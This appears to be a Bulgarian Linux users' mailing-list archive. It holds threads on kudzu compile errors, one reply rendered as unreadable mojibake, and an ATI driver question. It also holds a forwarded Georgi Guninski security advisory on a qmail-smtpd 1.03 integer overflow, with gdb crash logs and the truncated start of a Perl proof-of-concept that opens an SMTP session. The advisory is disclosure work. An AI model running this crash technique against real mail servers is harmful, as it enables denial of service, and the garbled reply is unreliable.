При компилиране на kudzu-knoppix_1.1.3-3 ми излезе следната грешка: make: diet: Command not found make: *** [kudzu_loader.do] Error 127 Успях да разбера, как да реша проблема, но след като инсталирах dietlibc_0.24-2 пак ми казва, че имам грешка: [EMAIL PROTECTED]:~/src/kudzu-1.1.3# make ( cd ddcprobe ; make libvbe.a CFLAGS="" ) make[1]: Entering directory `/root/src/kudzu-1.1.3/ddcprobe' gcc-c -o lrmi.o lrmi.c gcc-c -o vesamode.o vesamode.c gcc-c -o vbe.o vbe.c ar cru libvbe.a lrmi.o vesamode.o vbe.o make[1]: Leaving directory `/root/src/kudzu-1.1.3/ddcprobe' cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o kudzu.o kudzu.c cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o modules.o modules.c cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o pci.o pci.c pci.c:658: warning: `isDisabled' defined but not used cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o pcmcia.o pcmcia.c cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o serial.o serial.c cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o ide.o ide.c cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o misc.o misc.c cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o scsi.o scsi.c scsi.c: In function `scsiFindDeviceNames': scsi.c:178: warning: unused variable `rc' cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o parallel.o parallel.c cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o psaux.o psaux.c cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o usb.o usb.c cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o sbus.o sbus.c cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o keyboard.o keyboard.c cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o ddc.o ddc.c cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o pciserial.o pciserial.c cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o isapnp.o isapnp.c cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o firewire.o firewire.c firewire.c: In function `firewireProbe': firewire.c:58: warning: unused variable `loaded_driver' cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o adb.o adb.c cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o macio.o macio.c cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o ddcprobe/common.o ddcprobe/common.c ar cr libkudzu.a kudzu.o modules.o pci.o pcmcia.o serial.o ide.o misc.o scsi.o parallel.o psaux.o usb.o sbus.o keyboard.o ddc.o pciserial.o isapnp.o firewire.o adb.o macio.o ./ddcprobe/lrmi.o ./ddcprobe/vesamode.o ./ddcprobe/vbe.o ./ddcprobe/common.o ranlib libkudzu.a diet cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -D__LOADER__ -o kudzu_loader.do kudzu.c kudzu.c: /root/src/dietlibc-0.24.orig/include/dietref.h: No such file or directory kudzu.c: In function `probeDevices': kudzu.c:613: warning: unused variable `logLevel' make: *** [kudzu_loader.do] Error 1 [EMAIL PROTECTED]:~/src/kudzu-1.1.3# Какво значи това? Може би няма смисъл да се ползва diet, но не съм сигурен дали ще работи hwsetup без kudzu-knoppix (т.е. с оригиналния kudzu). A mail-list of Linux Users Group - Bulgaria (bulgarian linuxers). http://www.linux-bulgaria.org - Hosted by Internet Group Ltd. - Stara Zagora To unsubscribe: http://www.linux-bulgaria.org/public/mail_list.html
Re: lug-bg: Компилиране на kudzu
On Thursday 15 January 2004 22:36, Валентин Стойков wrote: > При компилиране на kudzu-knoppix_1.1.3-3 ми излезе следната грешка: > make: diet: Command not found > make: *** [kudzu_loader.do] Error 127 > > Успях да разбера, как да реша проблема, но след като инсталирах > dietlibc_0.24-2 пак ми казва, че имам грешка: > > [EMAIL PROTECTED]:~/src/kudzu-1.1.3# make > ( cd ddcprobe ; make libvbe.a CFLAGS="" ) > make[1]: Entering directory `/root/src/kudzu-1.1.3/ddcprobe' > gcc-c -o lrmi.o lrmi.c > gcc-c -o vesamode.o vesamode.c > gcc-c -o vbe.o vbe.c > ar cru libvbe.a lrmi.o vesamode.o vbe.o > make[1]: Leaving directory `/root/src/kudzu-1.1.3/ddcprobe' > cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o kudzu.o > kudzu.c cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o > modules.o modules.c cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" > -fpic -o pci.o pci.c pci.c:658: warning: `isDisabled' defined but not used > cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o pcmcia.o > pcmcia.c cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o > serial.o serial.c cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" > -fpic -o ide.o ide.c cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" > -fpic -o misc.o misc.c cc -c -Wall -D_GNU_SOURCE -g -I. > -DVERSION=\"1.1.3\" -fpic -o scsi.o scsi.c scsi.c: In function > `scsiFindDeviceNames': > scsi.c:178: warning: unused variable `rc' > cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o parallel.o > parallel.c cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o > psaux.o psaux.c cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic > -o usb.o usb.c cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic > -o sbus.o sbus.c cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" > -fpic -o keyboard.o keyboard.c cc -c -Wall -D_GNU_SOURCE -g -I. > -DVERSION=\"1.1.3\" -fpic -o ddc.o ddc.c cc -c -Wall -D_GNU_SOURCE -g -I. > -DVERSION=\"1.1.3\" -fpic -o pciserial.o pciserial.c cc -c -Wall > -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o isapnp.o isapnp.c cc -c > -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o firewire.o > firewire.c firewire.c: In function `firewireProbe': > firewire.c:58: warning: unused variable `loaded_driver' > cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o adb.o adb.c > cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o macio.o > macio.c cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -fpic -o > ddcprobe/common.o ddcprobe/common.c ar cr libkudzu.a kudzu.o modules.o > pci.o pcmcia.o serial.o ide.o misc.o scsi.o parallel.o psaux.o usb.o sbus.o > keyboard.o ddc.o pciserial.o isapnp.o firewire.o adb.o macio.o > ./ddcprobe/lrmi.o ./ddcprobe/vesamode.o ./ddcprobe/vbe.o > ./ddcprobe/common.o ranlib libkudzu.a > diet cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -D__LOADER__ -o > kudzu_loader.do kudzu.c kudzu.c: > /root/src/dietlibc-0.24.orig/include/dietref.h: No such file or directory Това чак сега го забелязах > kudzu.c: In function `probeDevices': > kudzu.c:613: warning: unused variable `logLevel' > make: *** [kudzu_loader.do] Error 1 > [EMAIL PROTECTED]:~/src/kudzu-1.1.3# > > Какво значи това? > > Може би няма смисъл да се ползва diet, но не съм сигурен дали ще работи > hwsetup без kudzu-knoppix (т.е. с оригиналния kudzu). > > Сега ми дава други грешки: hwconf.c:32:18: newt.h: No such file or directory Май не разбирам нещо важно... A mail-list of Linux Users Group - Bulgaria (bulgarian linuxers). http://www.linux-bulgaria.org - Hosted by Internet Group Ltd. - Stara Zagora To unsubscribe: http://www.linux-bulgaria.org/public/mail_list.html
Re: lug-bg: Компилиране на kudzu
ÐÐ ÑÑ, 2004-01-15 Ð 23:09, ÐÑÐÐ ÐÑÐ ÑÐ: > > diet cc -c -Wall -D_GNU_SOURCE -g -I. -DVERSION=\"1.1.3\" -D__LOADER__ -o > > kudzu_loader.do kudzu.c kudzu.c: > > /root/src/dietlibc-0.24.orig/include/dietref.h: No such file or directory > > ÑÐÐ ÑÐÐÐ ÐÐ ÐÑÐÐÑ > > > kudzu.c: In function `probeDevices': > > kudzu.c:613: warning: unused variable `logLevel' > > make: *** [kudzu_loader.do] Error 1 > > [EMAIL PROTECTED]:~/src/kudzu-1.1.3# > > > > Ð ÐÐÐÑÐ ÑÐÐÐ? > > > > ÐÐ ÐÑÐÐ ÑÐÐÑÑÐ ÐÐ ÑÐ ÐÐ diet, ÐÐ ÐÐ ÑÑÐ > > ÑÐÐÑÑÐÐ ÑÐ ÑÐÐÐÑÐ > > hwsetup ÐÐÐ kudzu-knoppix (Ñ.Ð. Ñ ÐÑÑ kudzu). > > > > > > ÐÐ ÐÑÑÐÐ ÐÑÐÑÐÐ: > > hwconf.c:32:18: newt.h: No such file or directory > > ÐÐÐ ÐÐ ÑÑÐÐ ÐÐÑÐ Ð... > ÐÐÐ ÑÐ ÐÑÐÐÑ newt.h, Ñ.Ð. include-ÐÐÐÑÐ ÐÐ libnewt. ÐÐÐ debian ÑÐÐÐ ÐÐÐÑÐ apt-get install libnewt-dev. ÐÑÐ ÐÐ diet, ÐÐÐ Ð ÐÐÐ Ñ Ð, Ð ÑÐ ÐÐ ÐÐÑÑÐÐÐÑÐÐ. Ð 90% ÐÑ ÑÐÑÑÐÐÑÐ ÐÑÐÑÐÐÑÐ ÐÑÐ ÐÐÐÑÐÑ ÑÐ ÐÑ ÐÐÐÑÐ ÐÐ ÐÑÐÐÐ lib ÐÐÐ tool signature.asc Description: This is a digitally signed message part
lug-bg: Fwd: Lame crash in qmail-smtpd and memory overwrite according to gdb
-- Forwarded Message --
Subject: Lame crash in qmail-smtpd and memory overwrite according to gdb
Date: Thursday 15 January 2004 17:48
From: Georgi Guninski <[EMAIL PROTECTED]>
To: [EMAIL PROTECTED]
Georgi Guninski security advisory #65, 2004
Lame crash in qmail-smtpd and memory overwrite according to gdb, yet still
qmail much better than windows
Systems affected:
qmail 1.03 on linux, don't know about other OSes.
Risk: Unknown. maybe so, maybe no.
Date: 15 January 2004
Legal Notice:
This Advisory is Copyright (c) 2004 Georgi Guninski.
You may distribute it unmodified.
You may not modify it and distribute it or distribute parts
of it without the author's written permission - this especially applies to
so called "vulnerabilities databases" and securityfocus, microsoft, cert
and mitre.
If you want to link to this content use the URL:
http://www.guninski.com/qmailcrash.html
Anything in this document may change without notice.
Disclaimer:
The information in this advisory is believed to be true though
it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.
Description:
Actually there are two different problems:
a) It is possible to crash qmail-smtpd 1.03 from remote with a long SMTP
session. The crash is not global, it affects only the current SMTP session.
b) If gdb is to be believed, it is possible to overwrite memory in
qmail-smtpd 1.03 from remote with a long SMTP session.
Details:
about a)
It is possible to trigger segmentation violation (SEGV) in qmail-smtpd 1.03
on linux from the network.
The problem is in:
void blast(hops)
int *hops;
...
int pos; /* number of bytes since most recent \n, if fih */
...
if (pos < 9) {
if (ch != "delivered"[pos]) if (ch != "DELIVERED"[pos]) flagmaybez =
0; ...
++pos;
...
When pos is incremented long enough, it becomes negative and the check
(pos<9) passes while pos is around 0x8000.
Then "delivered"[pos] causes segmentation violation.
Don't know whether RFC compliant message can trigger this.
Here is a log of the crash:
./qma4.pl localhost 25
qmail-smtpd SEGV. Written by Georgi Guninski
Will connect to localhost:25 [EMAIL PROTECTED] touser=postmaster
length=2097152
...
ps awx | grep qmail-smtpd
1810 ?R 0:06 qmail-smtpd
gdb attach 1810
GNU gdb
(gdb) cont
Program received signal SIGSEGV, Segmentation fault.
0x0804937c in blast (hops=0xbd8c) at qmail-smtpd.c:321
321 if (ch != "delivered"[pos]) if (ch != "DELIVERED"[pos])
flagmaybez = 0; (gdb) p pos
$1 = -2147483648
(gdb) p/x pos
$2 = 0x8000
(gdb)
about b:)
If gdb is to be believed, there is a memory screw (overflow) in qmail-smtpd.
To test it, uncomment the lines after "# !!! uncomment" in qma4.pl
Here is a gdb log:
gdb attach 1780
GNU gdb
Attaching to process 1780
Reading symbols from /var/qmail/bin/qmail-smtpd...done.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
0x401026c8 in read () from /lib/libc.so.6
(gdb) cont
Continuing.
Program received signal SIGPIPE, Broken pipe.
0x40102748 in write () from /lib/libc.so.6
#0 0x40102748 in write () from /lib/libc.so.6
#1 0x0400 in ?? ()
#2 0x0804bb81 in substdio_flush (s=0x804eae4) at substdo.c:35
#3 0x0804bc1e in substdio_put (s=0x4, buf=0xbd5b "g\030", len=134540004)
at substdo.c:64 <-- wtf is this len ??
#4 0x0804ab58 in qmail_put (qq=0x804eac0, s=0xbd5b "g\030", len=1)
at qmail.c:56
#5 0x08049309 in put (ch=0xbd5b "g\030") at qmail-smtpd.c:290
#6 0x0804941d in blast (hops=0xbd8c) at qmail-smtpd.c:360
#7 0x08049669 in smtp_data () at qmail-smtpd.c:393
#8 0x08049a66 in commands (ss=0x804d09c, c=0x804d0c0) at commands.c:37
#9 0x080497c5 in main () at qmail-smtpd.c:430
#10 0x40042917 in __libc_start_main () from /lib/libc.so.6
(gdb) frame 2
#2 0x0804bb81 in substdio_flush (s=0x804eae4) at substdo.c:35
35return allwrite(s->op,s->fd,s->x,p);
(gdb) p *s
$1 = {x = 0x67676767 "", p = 1734829927, n = 1734829927, fd = 1734829927,
op = 0x67676767}
(gdb)
When you get s->op=0x67676767 it is not good :)
Note: qmail was compiled with debug info.
---qma4.pl
#!/usr/bin/perl -w
#Copyright Georgi Guninski\nCannot be used in vulnerability databases and
#similar stuff
use IO::Socket;
my $port = $ARGV[1];
my $host = $ARGV[0];
my $socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto
=> "TCP") || die "socket";
my $req = "HELO a\r\n";
my $fromaddr="[EMAIL PROTECTED]";
my $touser="postmaster";
print "qmail-smtpd SEGV. Copyright Georg
lug-bg: ATI драйвер
Здравейте, опитвам се да накарам драйвера на ATI за radeon9200 да проработи уви... Системата е Slackware-current, пробвах с ядро 2.4.22 и 2.6.1 но и в двата случая получавам една и съща грешка: (WW) fglrx: No matching Device section for instance (BusID PCI:1:0:1) found В конфигурационния файл в секцията Device са добавени следните възможности: ChipID 0x5961 BusID "PCI:1:0:0" В Х лога се вижда че PCI:1:0:0 го намира без проблем, но втората глава не я намира. Добавих още една секция:(данните са взети от lspci) Section "Device" Identifier "ATI Graphics Adapter" Driver "fglrx" BusID "PCI:1:0:1" ChipID 0x5941 EndSection Обаче резултата е все същия - черен екран и съобщение за грешка. Някой има ли идея къде бъркам и може ли да се направи нещо по въпроса? Благодаря A mail-list of Linux Users Group - Bulgaria (bulgarian linuxers). http://www.linux-bulgaria.org - Hosted by Internet Group Ltd. - Stara Zagora To unsubscribe: http://www.linux-bulgaria.org/public/mail_list.html
